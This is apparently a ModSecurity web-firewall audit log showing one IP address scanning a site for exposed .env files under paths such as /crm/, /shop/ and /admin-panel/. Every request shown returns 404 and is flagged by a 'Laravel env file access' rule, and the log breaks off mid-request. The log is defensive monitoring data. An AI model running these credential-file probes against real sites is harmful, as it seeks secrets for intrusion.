Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266908224792 130968 (- - -)
Stopwatch2: 1789266908224792 130968; combined=5109, p1=384, p2=4667, p3=0, p4=0, p5=58, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e205470b-Z--

--b35eb158-A--
[13/Sep/2026:05:35:09.577465 +0300] aqYL3TTJ6xTvcJoem7f1iQAAAE4 34.175.231.24 44632 127.0.0.1 7081
--b35eb158-B--
GET /portal/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b35eb158-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b35eb158-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/portal/.env"] [unique_id "aqYL3TTJ6xTvcJoem7f1iQAAAE4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266909457088 120436 (- - -)
Stopwatch2: 1789266909457088 120436; combined=5928, p1=339, p2=5505, p3=0, p4=0, p5=83, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b35eb158-Z--

--a3262511-A--
[13/Sep/2026:05:35:10.726979 +0300] aqYL3mM7dE9KgIIOpQhduQAAANE 34.175.231.24 44644 127.0.0.1 7081
--a3262511-B--
GET /dashboard/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a3262511-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a3262511-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/dashboard/.env"] [unique_id "aqYL3mM7dE9KgIIOpQhduQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266910578357 148683 (- - -)
Stopwatch2: 1789266910578357 148683; combined=10094, p1=2233, p2=7785, p3=0, p4=0, p5=76, sr=165, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a3262511-Z--

--b5416f5d-A--
[13/Sep/2026:05:35:11.985850 +0300] aqYL30wu1RSkptiiNIXtpwAAAIE 34.175.231.24 44646 127.0.0.1 7081
--b5416f5d-B--
GET /panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b5416f5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b5416f5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/panel/.env"] [unique_id "aqYL30wu1RSkptiiNIXtpwAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266911862811 123110 (- - -)
Stopwatch2: 1789266911862811 123110; combined=4584, p1=248, p2=4273, p3=0, p4=0, p5=63, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b5416f5d-Z--

--0892db53-A--
[13/Sep/2026:05:35:13.808378 +0300] aqYL4WM7dE9KgIIOpQhdugAAANM 34.175.231.24 44656 127.0.0.1 7081
--0892db53-B--
GET /crm/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0892db53-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0892db53-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/crm/.env"] [unique_id "aqYL4WM7dE9KgIIOpQhdugAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266913693039 115395 (- - -)
Stopwatch2: 1789266913693039 115395; combined=4442, p1=248, p2=4134, p3=0, p4=0, p5=60, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0892db53-Z--

--34ec640a-A--
[13/Sep/2026:05:35:14.741096 +0300] aqYL4mM7dE9KgIIOpQhduwAAANY 34.175.231.24 44672 127.0.0.1 7081
--34ec640a-B--
GET /erp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--34ec640a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--34ec640a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/erp/.env"] [unique_id "aqYL4mM7dE9KgIIOpQhduwAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266914614375 126830 (- - -)
Stopwatch2: 1789266914614375 126830; combined=4918, p1=287, p2=4543, p3=0, p4=0, p5=87, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34ec640a-Z--

--b1d63940-A--
[13/Sep/2026:05:35:16.032071 +0300] aqYL42M7dE9KgIIOpQhdvQAAAMs 34.175.231.24 39944 127.0.0.1 7081
--b1d63940-B--
GET /shop/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b1d63940-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b1d63940-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/shop/.env"] [unique_id "aqYL42M7dE9KgIIOpQhdvQAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266915910133 122008 (- - -)
Stopwatch2: 1789266915910133 122008; combined=4201, p1=237, p2=3900, p3=0, p4=0, p5=64, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b1d63940-Z--

--edbff864-A--
[13/Sep/2026:05:35:17.661909 +0300] aqYL5Uwu1RSkptiiNIXtqQAAAIY 34.175.231.24 39948 127.0.0.1 7081
--edbff864-B--
GET /store/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--edbff864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--edbff864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/store/.env"] [unique_id "aqYL5Uwu1RSkptiiNIXtqQAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266917529539 132443 (- - -)
Stopwatch2: 1789266917529539 132443; combined=5723, p1=1044, p2=4613, p3=0, p4=0, p5=66, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--edbff864-Z--

--a7311267-A--
[13/Sep/2026:05:35:19.331935 +0300] aqYL52M7dE9KgIIOpQhdvgAAAME 34.175.231.24 39956 127.0.0.1 7081
--a7311267-B--
GET /saas/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a7311267-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a7311267-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/saas/.env"] [unique_id "aqYL52M7dE9KgIIOpQhdvgAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266919208642 123348 (- - -)
Stopwatch2: 1789266919208642 123348; combined=4126, p1=270, p2=3804, p3=0, p4=0, p5=52, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a7311267-Z--

--8cb8bf6b-A--
[13/Sep/2026:05:35:21.063812 +0300] aqYL6GM7dE9KgIIOpQhdwAAAANI 34.175.231.24 39966 127.0.0.1 7081
--8cb8bf6b-B--
GET /client/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8cb8bf6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8cb8bf6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/client/.env"] [unique_id "aqYL6GM7dE9KgIIOpQhdwAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266920936034 127851 (- - -)
Stopwatch2: 1789266920936034 127851; combined=7889, p1=456, p2=7303, p3=0, p4=0, p5=130, sr=179, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8cb8bf6b-Z--

--f4511d44-A--
[13/Sep/2026:05:35:22.571658 +0300] aqYL6mM7dE9KgIIOpQhdwQAAANg 34.175.231.24 39982 127.0.0.1 7081
--f4511d44-B--
GET /project/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--f4511d44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f4511d44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/project/.env"] [unique_id "aqYL6mM7dE9KgIIOpQhdwQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266922459068 112851 (- - -)
Stopwatch2: 1789266922459068 112851; combined=4145, p1=211, p2=3879, p3=0, p4=0, p5=55, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f4511d44-Z--

--62f8e060-A--
[13/Sep/2026:05:35:24.492059 +0300] aqYL7GM7dE9KgIIOpQhdwgAAANQ 34.175.231.24 40012 127.0.0.1 7081
--62f8e060-B--
GET /admin-panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--62f8e060-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--62f8e060-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/admin-panel/.env"] [unique_id "aqYL7GM7dE9KgIIOpQhdwgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266924367127 124996 (- - -)
Stopwatch2: 1789266924367127 124996; combined=4735, p1=212, p2=4470, p3=0, p4=0, p5=53, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62f8e060-Z--

--e205470b-A--
[13/Sep/2026:05:35:26.371538 +0300] aqYL7kwu1RSkptiiNIXtrAAAAI8 34.175.231.24 57848 127.0.0.1 7081
--e205470b-B--
GET /control-panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e205470b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e205470b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/control-panel/.env"] [unique_id "aqYL7kwu1RSkptiiNIXtrAAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266926252946 118647 (- - -)
Stopwatch2: 1789266926252946 118647; combined=4480, p1=284, p2=4140, p3=0, p4=0, p5=56, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e205470b-Z--

--5021df78-A--
[13/Sep/2026:05:35:27.759787 +0300] aqYL72M7dE9KgIIOpQhdwwAAAM0 34.175.231.24 57866 127.0.0.1 7081
--5021df78-B--
GET /user-panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--5021df78-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5021df78-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/user-panel/.env"] [unique_id "aqYL72M7dE9KgIIOpQhdwwAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266927643170 116682 (- - -)
Stopwatch2: 1789266927643170 116682; combined=4193, p1=215, p2=3926, p3=0, p4=0, p5=52, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5021df78-Z--

--80f47a43-A--
[13/Sep/2026:05:35:29.302321 +0300] aqYL8WM7dE9KgIIOpQhdxAAAANA 34.175.231.24 57874 127.0.0.1 7081
--80f47a43-B--
GET /node/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
